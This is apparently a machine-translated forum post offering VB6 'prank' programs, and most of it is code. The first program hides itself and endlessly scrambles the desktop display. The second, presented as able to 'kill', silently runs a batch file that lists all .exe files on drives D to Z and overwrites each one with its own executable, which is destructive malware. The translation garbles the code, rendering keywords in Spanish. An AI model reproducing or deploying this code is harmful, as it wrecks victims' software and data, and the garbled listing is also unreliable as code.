Solicitando algunos códigos falsos de VB.
Cuanto más potente sea el efecto, mejor, por ejemplo: pantalla azul, etc.
El escritorio de la computadora se derrite, ¡este código es realmente poderoso! De hecho, no puedo ver la pantalla, está derretida como un helado; Función de declaración privada GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long
Función de declaración privada GetDesktopWindow Lib "user32" () As Long
Función de declaración privada CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Función de declaración privada CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Función de declaración privada SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Función de declaración privada BitBlt Lib "gdi32" " (ByVal hDestDC Mientras, ByVal x Mientras, ByVal y Mientras, ByVal nWidth Mientras, ByVal nHeight Mientras, ByVal hSrcDC Mientras, ByVal xSrc Mientras, ByVal ySrc Mientras, ByVal dwRop Mientras) Mientras< / p>
Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source
Dim x como entero, y como entero
Dim Buffer mientras, hBitmap mientras, escritorio como Long, hScreen As Long, ScreenBuffer As Long
Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)
Private Sub Form_Load ( )
Me.Hide
Escritorio = GetWindowDC(GetDesktopWindow())
hBitmap = CreateCompatibleDC(Desktop)
hScreen = CreateCompatibleDC ( Escritorio)
Buffer = CreateCompatibleBitmap(Escritorio, 32, 32)
ScreenBuffer = CreateCompatibleBitmap(Escritorio, Screen.Width / 15, Screen.Height / 15)
SeleccionarObjeto hBitmap, Buf
fer
SelectObject hScreen, ScreenBuffer
BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Escritorio, 0, 0, SRCCOPY
Para i = 0 a 1E+17
y = (Alto.Pantalla / 15) * Rnd
x = (Ancho.Pantalla / 15) * Rnd
BitBlt hBitmap, 0, 0, 32, 32, Escritorio, x, y, SRCCOPY
BitBlt Escritorio, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd) , 32, 32, hBitmap, 0, 0, SRCCOPY
DoEvents
Next i
End Sub También hay una carta de triunfo; que puede matar personas
----------------------------------------------- ------ ---declaración---------------------------------------- ------ ------------------
'Si no comprende el código, no genere un archivo exe y ejecútelo eso... ....De lo contrario, no me culpes por no recordártelo. . . . . . .
Declaración privada Sub Sleep Lib "kernel32" (ByVal dwMillisegundos mientras)
Sub privada Form_Load()
En caso de error, reanudar siguiente 'frase tolerante a errores
Si Dir("c:\123.txt") = "" Entonces 'Si 123.txt no existe, cree un archivo exe transversal bat
Abra "c:\a .bat" Para salida como #1 'Abrir archivo bat
Imprimir #1, "para %%a en (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" ' Escribir datos
Cerrar #1 'Cerrar el archivo
Dormir 200 'Retraso de 200 segundos para esperar la generación del archivo (principalmente para máquinas lentas)
Shell "c :\a.bat ", 0 'Ocultar ejecución
Finalizar si
Dormir 60000 'Retrasar 1 minuto para esperar a que se complete el recorrido del exe
Atenuar A( ) Como cadena
Dim C As Long, I como entero
Abrir "c:\123.txt" para entrada como #1 'Leer el contenido de txt
Hacer mientras EOF (1) = Falso
ReDim Preservar A(C)
Entrada #1, A(C)
C = C + 1
Bucle
Cerrar #1
Para I = 0 A C - 1
FileCopy App.Path & "\" & App .EXEName & ". exe", A(I) 'Reemplazar el contenido en txt
Next
End Sub